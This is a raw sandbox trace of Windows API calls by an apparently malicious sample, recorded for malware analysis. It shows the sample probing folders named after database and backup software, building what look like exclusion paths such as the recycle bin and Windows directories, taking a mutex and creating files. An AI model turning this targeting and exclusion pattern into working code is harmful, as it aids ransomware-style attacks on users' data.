[0051.801] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.801] GlobalUnlock (hMem=0x440004) returned 0 [0051.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꟈRꞜR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.802] GetLastError () returned 0x3 [0051.802] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.802] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.802] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0051.802] GetLastError () returned 0x2 [0051.802] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.803] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.803] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0051.803] GetLastError () returned 0x2 [0051.803] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.803] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.803] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0051.803] GetLastError () returned 0x2 [0051.803] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18뭼R\x18j")) returned 0xffffffff [0051.804] GetLastError () returned 0x2 [0051.804] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0051.804] GetLastError () returned 0x2 [0051.804] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0051.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0051.805] GetLastError () returned 0x2 [0051.805] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0051.805] GetLastError () returned 0x2 [0051.805] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0051.806] GetLastError () returned 0x2 [0051.806] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.806] GetLastError () returned 0x2 [0051.806] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0051.807] GetLastError () returned 0x2 [0051.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.807] GlobalLock (hMem=0x440004) returned 0x550170 [0051.807] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.807] GlobalUnlock (hMem=0x440004) returned 0 [0051.807] GlobalLock (hMem=0x440004) returned 0x550170 [0051.807] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.807] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.807] GlobalUnlock (hMem=0x440004) returned 0 [0051.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.807] GlobalUnlock (hMem=0x44000c) returned 0 [0051.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.807] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.808] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.808] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.808] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.808] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.808] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a218, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.808] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.808] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.808] GlobalUnlock (hMem=0x44000c) returned 0 [0051.808] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.808] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.808] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.808] GlobalUnlock (hMem=0x44000c) returned 0 [0051.808] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.808] GlobalUnlock (hMem=0x440004) returned 0 [0051.808] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.810] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ice\\") returned 0x3c [0051.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.810] GlobalLock (hMem=0x440004) returned 0x550170 [0051.810] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.810] GlobalUnlock (hMem=0x440004) returned 0 [0051.810] GlobalLock (hMem=0x440004) returned 0x550170 [0051.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.810] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.810] GlobalUnlock (hMem=0x440004) returned 0 [0051.810] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.810] GlobalUnlock (hMem=0x44000c) returned 0 [0051.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.810] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.810] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0051.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.810] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.810] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.810] GlobalUnlock (hMem=0x44000c) returned 0 [0051.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.810] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.811] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.811] GlobalUnlock (hMem=0x44000c) returned 0 [0051.811] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.811] GlobalUnlock (hMem=0x440004) returned 0 [0051.811] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c 